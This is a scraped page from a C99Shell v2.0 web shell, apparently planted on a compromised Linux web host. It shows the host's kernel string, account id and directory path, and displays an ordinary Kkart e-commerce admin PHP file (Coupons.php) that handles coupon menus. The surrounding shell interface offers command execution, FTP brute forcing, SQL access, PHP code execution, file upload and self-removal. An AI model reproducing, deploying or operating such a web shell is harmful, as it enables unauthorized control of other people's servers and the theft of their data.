!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/Features/   drwxr-xr-x
Free 293 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Coupons.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Kkart Marketing > Coupons.
 *
 * NOTE: DO NOT edit this file in Kkart core, this is generated from kkart-admin.
 */

namespace Automattic\Kkart\Admin\Features;

use 
Automattic\Kkart\Admin\Loader;
use 
Automattic\Kkart\Admin\Notes\CouponPageMoved;
use 
Automattic\Kkart\Admin\PageController;

/**
 * Contains backend logic for the Coupons feature.
 */
class Coupons {

    use 
CouponsMovedTrait;

    
/**
     * Class instance.
     *
     * @var Coupons instance
     */
    
protected static $instance null;

    
/**
     * Get class instance.
     */
    
public static function get_instance() {
        if ( ! 
self::$instance ) {
            
self::$instance = new self();
        }
        return 
self::$instance;
    }

    
/**
     * Hook into Kkart.
     */
    
public function __construct() {
        if ( ! 
is_admin() ) {
            return;
        }

        
// If the main marketing feature is disabled, don't modify coupon behavior.
        
if ( ! Loader::is_feature_enabled'marketing' ) ) {
            return;
        }

        
// Only support coupon modifications if coupons are enabled.
        
if ( ! kkart_coupons_enabled() ) {
            return;
        }

        ( new 
CouponPageMoved() )->init();

        
add_action'admin_enqueue_scripts', array( $this'maybe_add_marketing_coupon_script' ) );
        
add_action'kkart_register_post_type_shop_coupon', array( $this'move_coupons' ) );
        
add_action'admin_head', array( $this'fix_coupon_menu_highlight' ), 99 );
        
add_action'admin_menu', array( $this'maybe_add_coupon_menu_redirect' ) );
    }

    
/**
     * Maybe add menu item back in original spot to help people transition
     */
    
public function maybe_add_coupon_menu_redirect() {
        if ( ! 
$this->should_display_legacy_menu() ) {
            return;
        }

        
add_submenu_page(
            
'kkart',
            
__'Coupons''kkart' ),
            
__'Coupons''kkart' ),
            
'manage_options',
            
'coupons-moved',
            [ 
$this'coupon_menu_moved' ]
        );
    }

    
/**
     * Call back for transition menu item
     */
    
public function coupon_menu_moved() {
        
wp_safe_redirect$this->get_legacy_coupon_url(), 301 );
        exit();
    }

    
/**
     * Modify registered post type shop_coupon
     *
     * @param array $args Array of post type parameters.
     *
     * @return array the filtered parameters.
     */
    
public function move_coupons$args ) {
        
$args['show_in_menu'] = current_user_can'manage_kkart' ) ? 'kkart-marketing' true;
        return 
$args;
    }

    
/**
     * Undo KKART modifications to $parent_file for 'shop_coupon'
     */
    
public function fix_coupon_menu_highlight() {
        global 
$parent_file$post_type;

        if ( 
'shop_coupon' === $post_type ) {
            
$parent_file 'kkart-marketing'// phpcs:ignore WordPress.WP.GlobalVariablesOverride
        
}
    }

    
/**
     * Maybe add our kkart-admin coupon scripts if viewing coupon pages
     */
    
public function maybe_add_marketing_coupon_script() {
        
$curent_screen PageController::get_instance()->get_current_page();
        if ( ! isset( 
$curent_screen['id'] ) || 'kkart-coupons' !== $curent_screen['id'] ) {
            return;
        }

        
$rtl is_rtl() ? '-rtl' '';

        
wp_enqueue_style(
            
'kkart-admin-marketing-coupons',
            
Loader::get_url"marketing-coupons/style{$rtl}"'css' ),
            array(),
            
Loader::get_file_version'css' )
        );

        
wp_enqueue_script(
            
'kkart-admin-marketing-coupons',
            
Loader::get_url'wp-admin-scripts/marketing-coupons''js' ),
            array( 
'wp-i18n''wp-data''wp-element''moment''wp-api-fetch'KKART_ADMIN_APP ),
            
Loader::get_file_version'js' ),
            
true
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0985 ]--